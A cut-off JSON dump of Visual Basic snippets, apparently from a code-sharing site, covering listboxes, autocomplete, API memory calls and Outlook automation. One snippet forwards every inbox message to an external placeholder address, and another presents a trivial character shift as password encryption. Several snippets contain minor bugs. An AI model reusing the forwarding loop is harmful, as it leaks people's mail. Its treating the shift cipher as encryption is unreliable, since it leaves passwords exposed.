ADODB.Recordset\ncn.ConnectionString = \"Provider=MSDASQL.1; _\nPersist Security Info=False; _\nData Source=DSG_Input\"\ncn.Open\n'*****************************************\n'*SQL Statement to extract all customers*\n'*from the database\n'*****************************************\nsql = \"Select First_Name, Cust_ID from Customer _ Order by First_Name\"\nSet rs = cn.Execute(sql)\n'*****************************************\n'**Populates the listbox**\n'*****************************************\n With List1\n Do While Not rs.EOF\n .AddItem rs(\"First_Last\")\n rs.MoveNext\n Loop\n End With\n \n'**********************************************\n'*You now have a listbox containing the records\n'*from your database\n'**********************************************\n'**********************************************\n'*You will create an array that is dynamic to \n'*your recordset. This will keep track of \n'*the primary key as a boundColumn would in a \n'*datalist box. This is for the purpose \n'*of relational databases.\n'*You will create the array the same size as the \n'*listIndex count (number of records in \n'*listbox).\n'**********************************************\nrs.movefirst\nReDim array1(List1.ListCount) As String\n'*********************************************\n'*This will now populate the array which is a \n'*mirror image as the listbox, but with the \n'*primary key.\n'*********************************************\nFor i = 0 To List1.ListCount - 1\n array1(i) = rs(\"Cust_ID\")\n rs.MoveNext\nNext i\n'**********************************************\n'*We have now completed the listbox. You can\n'*use this listbox the same way as you would a\n'*datalist box. The following code will explain\n'*how.\n'***********************************************\n'************************************************\n'*To access the primary key relating to each \n'*record in the list, put the following code in\n'*the listbox \"Click()\" event. This explains how\n'*to access the primary key stored in the array.\n'************************************************\n \n'**********************************************\n'*list1.listIndex explains with record in the\n'*list was clicked on. You use this to find \n'*where in the array the primary key is stored.\n'**********************************************\nPrivate Sub List1_Click()\nDim Primary_1 as string\n Primary_1 = array1(list1.listIndex)\n Msgbox Primary_1\nEnd Sub\n'***********************************************\n'*Conclusion*\n'*Although this isn't as convenient as setting up\n'*a bound datalist control, you will find it \n'*will speed up things when using a large\n'*database file.\n'************************************************"},{"WorldId":1,"id":11609,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11610,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11611,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11612,"LineNumber":1,"line":"'Put this code in the SAME MODULE as the API ABOVE\n'if you would like to download a working example this code go here:\n'http://www.theblackhand.net/mouse/RealMemory.zip\nPublic Function malloc(Strin As String) As Long\n Dim PointerA As Long, lSize As Long\n \n lSize = LenB(Strin) 'Length of string in bytes.\n \n 'Allocate the memory needed and returns a pointer to that memory\n PointerA = LocalAlloc(LPTR, lSize + 4)\n If PointerA <> 0 Then\n 'Final allocation\n CopyMemory ByVal PointerA, lSize, 4\n If lSize > 0 Then\n 'copy the string to that allocated memory.\n CopyMemory ByVal PointerA + 4, ByVal StrPtr(Strin), lSize\n End If\n End If\n 'return the pointer to the string stored memory\n malloc = PointerA\nEnd Function\nPublic Function RetMemory(PointerA As Long) As String\n Dim lSize As Long, sThis As String\n If PointerA = 0 Then\n GetMemory = \"\"\n Else\n 'get the size of the string stored at pointer \"PointerA\"\n CopyMemory lSize, ByVal PointerA, 4\n If lSize > 0 Then\n 'buffer a varible\n sThis = String(lSize \\ 2, 0)\n 'retrive the data at the address of \"PointerA\"\n CopyMemory ByVal StrPtr(sThis), ByVal PointerA + 4, lSize\n 'return the buffer\n RetMemory = sThis\n End If\n End If\nEnd Function\nPublic Sub FreeMemory(PointerA As Long)\n 'frees up the memory at the address of \"PointerA\"\n LocalFree PointerA\nEnd Sub"},{"WorldId":1,"id":11615,"LineNumber":1,"line":"\nPublic Function InVBDesignEnvironment() As Boolean\n \n Dim strFileName As String\n Dim lngCount As Long\n \n strFileName = String(255, 0)\n lngCount = GetModuleFileName(App.hInstance, strFileName, 255)\n strFileName = Left(strFileName, lngCount)\n \n InVBDesignEnvironment = False\n If UCase(Right(strFileName, 7)) = \"VB5.EXE\" Then\n InVBDesignEnvironment = True\n ElseIf UCase(Right(strFileName, 7)) = \"VB6.EXE\" Then\n InVBDesignEnvironment = True\n End If\nEnd Function\n"},{"WorldId":1,"id":11617,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11619,"LineNumber":1,"line":"Private Sub Textbox1_KeyUp(KeyCode As Integer, Shift As Integer)\nDim rsTable as ADODB.recordset\nSet rsTable = New ADODB.recordset\nOn Error GoTo ENDOFSUB\n rsTable.Open \"Select * from TABLE\", cn, adopenstatic, adlockoptomistic\n STRWORD = Me.textbox1.Text\n If Len(STRWORD) < INTPLACE Then\n INTPLACE = Len(STRWORD) - 1\n End If\n If KeyCode = vbKeyBack Or KeyCode = vbKeyLeft Then\n If INTPLACE > 0 Then\n INTPLACE = INTPLACE - 1\n STRWORD = Mid(STRWORD, 1, Len(STRWORD) - 1)\n End If\n ElseIf Me.textbox1.Text = \"\" Then\n INTPLACE = 0\n STRWORD = \"\"\n ElseIf KeyCode <> vbKeyDelete And KeyCode <> vbKeyShift Then\n INTPLACE = INTPLACE + 1\n STRWORD = STRWORD & Chr(KeyCode)\n End If\n rsTable.MoveFirst\n If Me.textbox1.Text <> \"\" Then\n Do While Not rsTable.EOF\n If Mid(Trim(rsTable!Field1), 1, INTPLACE) = UCase(Mid(Me.textbox1.Text, 1, INTPLACE)) Then\n Me.textbox1.Text = Trim(rsTable!Field1)\n Exit Do\n End If\n m_rsEmployee.MoveNext\n Loop\n End If\n If KeyCode <> vbKeyShift Then\n Me.textbox1.SelStart = INTPLACE\n Me.textbox1.SelLength = (Len(Me.textbox1.Text)) - INTPLACE\n End If\n Exit Sub\nENDOFSUB:\n Me.textbox1.Text = \"\"\n INTPLACE = 0\nEnd Sub"},{"WorldId":1,"id":11626,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11631,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11635,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11636,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11637,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11638,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11643,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11652,"LineNumber":1,"line":"Private Sub Form_Load()\n Combo1.AddItem \"Computer\"\n Combo1.AddItem \"Screen\"\n Combo1.AddItem \"Screen saver\"\n Combo1.AddItem \"Printer\"\n Combo1.AddItem \"Printer cartridge\"\n Combo1.AddItem \"Printer cable\"\n Combo1.AddItem \"Modem\"\n Combo1.AddItem \"Speakers\"\n Combo1.AddItem \"Keyboard\"\n Combo1.AddItem \"Mouse\"\n Combo1.AddItem \"Floppy disks\"\n Combo1.AddItem \"Floppy disk drive\"\n Combo1.AddItem \"Compact disk\"\n Combo1.AddItem \"Hard drive\"\n Combo1.AddItem \"Hardware\"\n Combo1.AddItem \"Software\"\n Combo1.AddItem \"Motherboard\"\n Combo1.AddItem \"Sound card\"\n Combo1.AddItem \"Webcam\"\n Combo1.AddItem \"Joystick\"\n Combo1.AddItem \"Mouse pad\"\n Combo1.AddItem \"Laser printer\"\n Combo1.AddItem \"Network card\"\n Combo1.AddItem \"ISDN card\"\n Combo1.AddItem \"HUB\"\n \n Combo1.Text = \"\"\n AutoInput = False\n \nEnd Sub\n\nPrivate Sub Combo1_Change()\n Dim i As Integer\n If Combo1.Text <> \"\" And AutoInput = False Then\n RealLen = Len(Combo1.Text)\n Do\n If LCase(Combo1.Text) = LCase(Combo1.List(i)) Then\n Exit Sub\n ElseIf LCase(Combo1.Text) = LCase(Left(Combo1.List(i), RealLen)) Then\n AutoInput = True\n Combo1.Text = Combo1.List(i)\n Combo1.SelStart = RealLen\n Combo1.SelLength = Len(Combo1.Text) - RealLen\n End If\n i = i + 1\n Loop Until i = Combo1.ListCount\n Else\n AutoInput = False\n End If\nEnd Sub\nPrivate Sub Combo1_KeyDown(KeyCode As Integer, Shift As Integer)\n If KeyCode = 8 Then\n If RealLen > 0 And Combo1.SelLength > 0 Then\n Combo1.SelStart = RealLen - 1\n Combo1.SelLength = Len(Combo1.Text) - RealLen + 1\n End If\n ElseIf KeyCode = 46 Then\n If Combo1.SelLength <> 0 Then\n Combo1.Text = Left(Combo1.Text, RealLen)\n AutoInput = True\n End If\n End If\nEnd Sub\n"},{"WorldId":1,"id":11655,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11664,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11670,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11672,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11673,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11676,"LineNumber":1,"line":"Private Sub RemoveDupes(lst As ListBox)\n Dim iPos As Integer\n iPos=0\n '-- if listbox empty then exit..\n If lst.ListCount < 1 Then Exit Sub\n Do While iPos < lst.ListCount\n lst.Text = lst.List(iPos)\n '-- check if text already exists..\n If lst.ListIndex <> iPos Then\n '-- if so, remove it and keep iPos..\n lst.RemoveItem iPos\n Else\n '-- if not, increase iPos..\n iPos = iPos + 1\n End If\n Loop\n '-- used to unselect the last selected line..\n lst.Text = \"~~~^^~~~\"\nEnd Sub\n"},{"WorldId":1,"id":11678,"LineNumber":1,"line":"Private Sub AddUnique(StringToAdd As String, lst As ListBox)\n lst.Text = StringToAdd\n If lst.ListIndex = -1 Then\n 'it does not exist, so add it..\n lst.AddItem StringToAdd\n End If\nEnd Sub\n"},{"WorldId":1,"id":11679,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11682,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11683,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11687,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11692,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11696,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11700,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11707,"LineNumber":1,"line":"'********* MESSAGE SENDING PROGRAM **********\n'\n' This program will send text messages to another vb program.\n' The messages will be placed directly into the text boxes.\n' Add 1 wide command button (Command1) to a blank form, double\n' click on the form, then copy and paste the following source code.\n' (This will be a separate project called message sender)\n\nOption Explicit\nPrivate Declare Function SendMessage Lib \"user32\" Alias \"SendMessageA\" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long\nPrivate Const WM_SETTEXT = &HC\n' This program will send test messages to another vb program.\n' The recipient must be running when the command button is pressed.\nPrivate Sub Command1_Click()\n \n Dim sAppName As String, sSection As String\n ' Here we must supply the name of the program which is to receive messages.\n sAppName = \"Receiving AppName\"\n If Not InterProcMsg(sAppName, \"Text1\", \"Message to Text1\") Then\n ' Notify if the message could not be sent.\n MsgBox \"Could not send message sent to Text1\"\n End If\n \n If Not InterProcMsg(sAppName, \"Text2\", \"Message to Text2\") Then\n ' Notify if the message could not be sent.\n MsgBox \"Could not send message sent to Text2\"\n End If\n \n If Not InterProcMsg(sAppName, \"Text3\", \"Message to Text3\") Then\n ' Notify if the message could not be sent.\n MsgBox \"Could not send message sent to Text3\"\n End If\n \nEnd Sub\nFunction InterProcMsg(sAppName As String, sKey As String, sValue As String) As Boolean\nOn Error GoTo Err_InterProcMsg\n ' This routine will place a text message (sValue) into a control on a form\n ' running on another program.\n '\n ' In order for this to work the recipient program must be running,\n ' and must have stored the required windows handles into the windows registry.\n \n Dim sSection As String, lRequiredHandle As Long, SentOK As Boolean\n \n sSection = \"InterProcess Handles\"\n \n ' First we obtain the required handle from the registry.\n lRequiredHandle = GetSetting(sAppName, sSection, sKey)\n \n ' If a valid handle was found the send the message passed in the string 'sValue'.\n If lRequiredHandle = 0 Then\n SentOK = False ' Message not sent (handle not found)\n Else\n Call SendMessage(lRequiredHandle, WM_SETTEXT, ByVal 0&, ByVal sValue)\n SentOK = True ' Message sent\n End If\n\nExit_InterProcMsg:\n \n ' Exit the function with InterProcMsg set to either\n ' TRUE if message sent to the other program without problems, or\n ' FALSE if the message could not be sent.\n \n InterProcMsg = SentOK\n Exit Function\n\nErr_InterProcMsg:\n \n ' Error handler to catch and process any unexpected errors.\n \n MsgBox \"Error\" & Str$(Err) & \" in routine InterProcMsg on sending form: \" & Error$(Err)\n SentOK = False ' Message not sent (due to unexpected error)\n GoTo Exit_InterProcMsg\nEnd Function\nPrivate Sub Form_Load()\n ' Add a prompt to the command button.\n Command1.Caption = \"Send Messages to the other program\"\nEnd Sub\n\n'\n'********* MESSAGE RECEIVING PROGRAM **********\n'\n' This program will receive text messages from another vb program.\n' The messages will be placed directly into the text boxes.\n' Add 3 text boxes (text1, text2 and text3) to a blank form, double\n' click on the form, then copy and paste the following source code.\n' (This will be a separate project called message receiver)\n\nOption Explicit\nPrivate Sub Form_Load()\n ' To allow the sending program to write to our textboxes, we make a\n ' temporary saving of windows handles of the textboxes to the registry.\n Dim sAppName As String\n ' Here we must supply the name of this program\n ' (the name must match that given in the sending program).\n sAppName = \"Receiving AppName\"\n ' Now we store the windows handles for the forms textboxes.\n SaveSetting sAppName, \"InterProcess Handles\", \"Text1\", Str$(Text1.hWnd)\n SaveSetting sAppName, \"InterProcess Handles\", \"Text2\", Str$(Text2.hWnd)\n SaveSetting sAppName, \"InterProcess Handles\", \"Text3\", Str$(Text3.hWnd)\n \nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\n ' The program has now finished, so we can now remove\n ' our InterProcess handle values from the registry.\n DeleteSetting \"Receiving AppName\", \"InterProcess Handles\"\nEnd Sub\n"},{"WorldId":1,"id":11714,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11715,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11718,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11719,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11726,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11727,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11730,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11740,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11753,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11755,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11756,"LineNumber":1,"line":"Private Sub Command1_Click()\n Call CycleText\nEnd Sub\nSub CycleText()\n Dim curPos As Integer, lineStart As Integer, n As Integer\n Dim finis As Boolean, breakLoop As Boolean, i As Integer\n Dim strArray() As String\n \n lineStart = 1\n curPos = 1\n n = 0\n finis = False\n breakLoop = False\n \n Do Until breakLoop\n curPos = InStr(lineStart, Form1.RichTextBox1.Text, vbCrLf, vbBinaryCompare)\n Form1.RichTextBox1.SelStart = lineStart - 1\n If curPos > 1 Then\n Form1.RichTextBox1.SelLength = curPos - lineStart\n Else\n Form1.RichTextBox1.SelLength = (Len(Form1.RichTextBox1.Text) + 1) - lineStart\n finis = True\n End If\n ReDim Preserve strArray(n) As String\n strArray(n) = Form1.RichTextBox1.SelText\n TimedPause 1\n If finis Then breakLoop = True\n n = n + 1\n lineStart = curPos + 2\n curPos = 1\n DoEvents\n Loop\n \n Call PutInListBox(strArray(), n - 1)\nEnd Sub\nSub PutInListBox(myArray, totalArray As Integer)\n Dim i As Integer, listCount As Integer\n listCount = 0\n For i = 0 To totalArray\n If Len(myArray(i)) Then\n List1.AddItem myArray(i), listCount\n listCount = listCount + 1\n End If\n Next i\nEnd Sub\nFunction TimedPause(secs As Long)\n Dim secStart As Variant\n Dim secNow As Variant\n Dim secDiff As Variant\n \n secStart = Format(Now(), \"mm/dd/yyyy hh:nn:ss AM/PM\")\n \n Do While secDiff < secs\n secNow = Format(Now(), \"mm/dd/yyyy hh:nn:ss AM/PM\")\n secDiff = DateDiff(\"s\", secStart, secNow)\n Loop\nEnd Function\n"},{"WorldId":1,"id":11758,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11761,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11767,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11768,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11769,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11778,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11784,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11788,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11791,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11793,"LineNumber":1,"line":"'by Kayhan Tanriseven\n'THis code shows you how to get inbox from Outlook\n[1] Add the reference To the Outlook Object Library\nDim myOLApp As New Outlook.Application\nDim olNameSpace As Outlook.NameSpace\nDim myItem As New Outlook.AppointmentItem\nDim myRequest As New Outlook.MailItem\nDim myFolder As Outlook.MAPIFolder\nPublic myResponse\nDim L As String\nDim i As Integer\nDim SearchSub As String\nDim strSubject As String\nDim myFolder As Outlook.MAPIFolder\nDim strSender As String\nDim strBody As String\nDim olMapi As Object\nDim strOwnerBox As String\nDim sbOLApp\n\nSet myOLApp = CreateObject(\"Outlook.Application\")\nSet olNameSpace = myOLApp.GetNamespace(\"MAPI\")\nSet myFolder = olNameSpace.GetDefaultFolder(olFolderInbox)\n\n'Dim mailfolder As Outlook.MAPIFolder\nSet olMapi = GetObject(\"\", \"Outlook.Application\").GetNamespace(\"MAPI\")\nFor i = 1 To myFolder.Items.Count\n strSubject = myFolder.Items(i).Subject\n strBody = myFolder.Items(i).Body\n strSender = myFolder.Items(i).SenderName\n strOwnerBox = myFolder.Items(i).ReceivedByName\n\n' Now Mail it to somebody\n Set sbOLAPp = CreateObject(\"Outlook.Application\")\n Set myRequest = myOLApp.CreateItem(olMailItem)\n With myRequest\n .Subject = strSubject\n .Body = strBody\n .To = \"anybody@anywhere.com\"\n .Send\n\n End With\n Set sbOLAPp = Nothing\nNext\nSet myOLApp = Nothing\nExit Sub\n"},{"WorldId":1,"id":11794,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11796,"LineNumber":1,"line":"' by Kayhan Tanriseven The Benchmarker┬«\n' \n' Example code of to add menu items to VB's popup Menus\n'\n' If needed, I will post a sample zipped project also..\n' for this reason, please feedback..\n\n' create all the user interface items\nOn Error GoTo CreateMenuItems_Error\n' create the menu items in the code window and code break window\nWith VBInstance.CommandBars(\"Code Window\").Controls\n\tSet MenuItem1 = .Add(msoControlButton)\n\tMenuItem1.Caption = \"&Append To Clipboard\"\n\tMenuItem1.BeginGroup = True\n\tSet MenuHandler1 = \tVBInstance.Events.CommandBarEvents(MenuItem1)\n\tSet MenuItem2 = .Add(msoControlButton)\n\tMenuItem2.Caption = \"Clipboard &History\"\n\tSet MenuHandler2 = \tVBInstance.Events.CommandBarEvents(MenuItem2)\nEnd With \nWith VBInstance.CommandBars(\"Code Window (Break)\").Controls\n\tSet MenuItem3 = .Add(msoControlButton)\n\tMenuItem1.Caption = \"&Append To Clipboard\"\n\tMenuItem1.BeginGroup = True\n\tSet MenuHandler3 = \tVBInstance.Events.CommandBarEvents(MenuItem3)\n\tSet MenuItem4 = .Add(msoControlButton)\n\tMenuItem4.Caption = \"Clipboard &History\"\n\tSet MenuHandler4 = \tVBInstance.Events.CommandBarEvents(MenuItem4)\nEnd With\nExit Sub \nCreateMenuItems_Error:\nMsgBox \"Unable To create necessary menu items\", vbCritical\n\n"},{"WorldId":1,"id":11803,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11804,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11806,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11808,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11810,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11813,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11814,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11815,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11816,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11819,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11821,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11822,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11825,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11830,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11833,"LineNumber":1,"line":"Private Sub ComboBox_KeyPress(KeyAscii As Integer)\nTimer1.Enabled = True\nEnd Sub\nPrivate Sub Timer1_Timer()\nOn Error GoTo Oops\nWith ComboBox\nKounter = 0\nFor Kounter = 0 To .ListCount\nIf .Text = Left(.List(Kounter), Len(.Text)) Then\nOldLength = Len(.Text)\n.Text = .List(Kounter)\n.SelStart = OldLength\n.SelLength = Len(.Text) - OldLength\nTimer1.Enabled = False\nGoTo Oops\nEnd If\nNext Kounter\nEnd With\nOops:\nTimer1.Enabled = False\nEnd Sub"},{"WorldId":1,"id":11834,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11836,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11838,"LineNumber":1,"line":"'*************************************************\n'* This program was created by andreas \n'*gustafsson. \n'* Please do not change/remove this \n'*text '*\n'* Feel free to edit the code as you \n'*wish \n'* send comments to \n'*andreasgustafsson1@hotmail.com \n'* References: Microsoft scripting \n'*runtime \n'************************************************* Option Explicit\n Dim fso As New FileSystemObject\n 'The selected drive\n Dim strDrive As String\n 'The folderpath\n Dim strFolder As String\n 'Collection to store the selected filepaths\n \nPrivate Sub cmbDrives_Click()\n Dim drive As drive\n Dim File As File\n Dim SubFolder As Folder\n Dim i As Integer\n i = 0\n lstFiles.Clear\n If cmbDrives = \"\" Then Exit Sub\n strDrive = cmbDrives.Text\n strFolder = \"\"\n Set drive = fso.GetDrive(cmbDrives.Text)\n If drive.IsReady Then\n For Each File In drive.RootFolder.Files\n lstFiles.AddItem File.Name, i\n i = i + 1\n Next\n i = lstFiles.ListCount\n For Each SubFolder In _ drive.RootFolder.SubFolders\n lstFiles.AddItem SubFolder, i\n i = i + 1\n Next\n Else\n MsgBox \"Drives not ready\"\n End If\nEnd Sub\n'Moves to the parent folder (if any)\nPrivate Sub cmdup_Click()\n Dim Folder As Folder\n Dim File As File\n Dim SubFolder As Folder\n Dim i As Integer\n If strDrive = \"\" Then Exit Sub\n If strFolder = \"\" Then Exit Sub\n 'Get current folder\n Set Folder = fso.GetFolder(strDrive & _ strFolder)\n 'Find parent folder\n strFolder = Left(strFolder, InStrRev _(strFolder, \"\\\") - 1)\n lstFiles.Clear\n 'If parent exists\n If Not Folder.ParentFolder Is Nothing Then\n 'Add all files in parent\n For Each File In Folder.ParentFolder.Files\n lstFiles.AddItem File.Name, i\n i = i + 1\n Next\n i = lstFiles.ListCount\n 'Add all subfolders in parent\n For Each SubFolder In _ Folder.ParentFolder.SubFolders\n lstFiles.AddItem SubFolder, i\n i = i + 1\n Next\n Else 'If it not has parent\n For Each File In Folder.Files\n lstFiles.AddItem File.Name, i\n i = i + 1\n Next\n i = lstFiles.ListCount\n For Each SubFolder In Folder.SubFolders\n lstFiles.AddItem SubFolder, i\n i = i + 1\n Next\n End If\nEnd Sub\nPrivate Sub Form_Load()\n Dim drive As drive\n Dim i As Integer\n i = 0\n 'Add all drives to combo\n For Each drive In fso.Drives\n cmbDrives.AddItem drive.Path, i\n i = i + 1\n Next\nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\n Set fso = Nothing\nEnd Sub\nPrivate Sub lstFiles_Click()\n Dim Folder As Folder\n Dim SubFolder As Folder\n Dim File As File\n Dim i As Integer\n i = 0\n If Not lstFiles.SelCount > 1 Then\n 'if its a folder\n If InStr(lstFiles.Text, \":\\\") Then\n Set Folder = fso.GetFolder _(lstFiles.Text)\n lstFiles.Clear\n strFolder = strFolder & \"\\\" & _ Folder.Name\n 'Add all files\n For Each File In Folder.Files\n lstFiles.AddItem File.Name, i\n i = i + 1\n Next\n i = lstFiles.ListCount\n 'Add subfolders\n For Each SubFolder In _ Folder.SubFolders\n lstFiles.AddItem SubFolder, i\n i = i + 1\n Next\n End If\n End If\nEnd Sub\n"},{"WorldId":1,"id":11839,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11845,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11853,"LineNumber":1,"line":"Dim o \n Dim m\n \n Set o = CreateObject(\"Outlook.Application\")\n Set m = o.CreateItem(0)\n \n m.To = \"xxxx@yyyy.com\"\n m.Subject = \"This is the Subject\"\n m.Body = \"Hey, this is cool!\"\n m.Attachments.Add \"C:\\Temp\\FileToAttach.txt\"\n 'Repeat this line if there are more Attachments\n m.Display\n 'm.Send 'If you want to just send it"},{"WorldId":1,"id":11855,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11856,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11857,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11858,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11859,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11862,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11866,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11869,"LineNumber":1,"line":"Public Sub ADO_OpenRs(rs As Recordset, szSource$, Optional bReadOnly = False)\n' Open or Requery a Recordset.\nOn Error GoTo lab_Err\nIf rs.State = adStateClosed Or rs.Source <> szSource Then\n If rs.State <> adStateClosed Then rs.Close\n rs.Open szSource, gCn, adOpenStatic, IIf(bReadOnly, adLockReadOnly, adLockOptimistic)\nElse\n rs.Requery\nEnd If\nlab_Exit:\n \n Exit Sub\n \nlab_Err:\n \n MsgBox Err.Description\n GoTo lab_Exit\n \nEnd Sub"},{"WorldId":1,"id":11874,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11876,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11878,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11879,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11881,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11882,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11883,"LineNumber":1,"line":"Public Function CollisionMovingImage(MovingImage As Variant, moveLeft As Integer, moveTop As Integer, Optional StaticImage As Variant) As Boolean\n\nOn Error GoTo ErrHandler:\n'If one of the parameters is not found or\n'some error happen in the function, it will\n'then exit.\n \n Dim MovingLeft, MovingRight, MovingTop, MovingBottom As Integer\n 'The Moving variables are used to get infos about the\n 'MovingImage.\n MovingLeft = MovingImage.Left + moveLeft\n MovingRight = (MovingImage.Left + moveLeft) + MovingImage.Width\n MovingTop = MovingImage.Top + moveTop\n MovingBottom = (MovingImage.Top + moveTop) + MovingImage.Height\n \n Dim okLeft, okTop As Boolean\n ' okLeft is use to see if the MovingImage has a point\n ' of its width in commun with the StaticImage. The\n ' okTop is used to see if it happens with the height.\n okLeft = True\n okTop = True\n 'They are set to true by default to allow the moving\n 'of the MovingImage if there is no StaticImage.\n \n \n If IsMissing(StaticImage) = False Then\n 'Execute the verification only if the\n 'StaticImage argument is used.\n \n Dim StaticLeft, StaticRight, StaticTop, StaticBottom As String\n 'The Static variables are used to get infos about\n 'the StaticImage.\n StaticLeft = StaticImage.Left\n StaticRight = StaticImage.Left + StaticImage.Width\n StaticTop = StaticImage.Top\n StaticBottom = StaticImage.Top + StaticImage.Height\n \n Dim i As Integer\n 'Verify if the MovingImage has a point\n 'of its width in commun with the StaticImage.\n For i = StaticLeft To StaticRight\n If (MovingLeft = i) Or (MovingRight = i) Then\n okLeft = False\n End If\n Next i\n \n 'Verify if the MovingImage has a point of\n 'its height in commun with the StaticImage.\n For i = StaticTop To StaticBottom\n If (MovingBottom = i) Or (MovingTop = i) Then\n okTop = False\n End If\n Next i\n \n 'Don't move the MovingPicture if there\n 'would be a collision.\n If okTop = False And okLeft = False Then\n 'Return true because the two objects\n 'would have a commun point.\n CollisionMovingImage = True\n GoTo ErrHandler:\n End If\n \n End If\n \n 'Move the MovingImage...\n 'You could remove the two following lines if you\n 'wanted the function to only tell you if there would\n 'be a collision or no.\n MovingImage.Left = MovingLeft\n MovingImage.Top = MovingTop\n 'Return false because there have been no collision\n CollisionMovingImage = False\n \nErrHandler:\n\nEnd Function"},{"WorldId":1,"id":11884,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11885,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11886,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11890,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11891,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11895,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11897,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11898,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11901,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11904,"LineNumber":1,"line":"'.......................................................\n'to encrypt:\n'right before you save you go:\n'password = Encrypt(password) password is the variable\n'.......................................................\nPublic Function Encrypt(ByVal Plain As String)\n Dim Letter As String\n For i = 1 To Len(Plain)\n Letter = Mid$(Plain, i, 1)\n Mid$(Plain, i, 1) = Chr(Asc(Letter) + 111)\n Next i\n Encrypt = Plain\nEnd Function\n'password = Encrypt(Text1)\n'Text2 = password\n\n'...................................................\n'to decrypt:\n'right before you load the password you go:\n'password = Decrypt(password)\n'....................................................\nPublic Function Decrypt(ByVal Encrypted As String)\nDim Letter As String\n For i = 1 To Len(Encrypted)\n Letter = Mid$(Encrypted, i, 1)\n Mid$(Encrypted, i, 1) = Chr(Asc(Letter) - 111)\n Next i\n Decrypt = Encrypted\nEnd Function"},{"WorldId":1,"id":11905,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11909,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11910,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11912,"LineNumber":1,"line":"Option Explicit\nPrivate Declare Function BitBlt Lib \"GDI32\" (ByVal hDestDC As 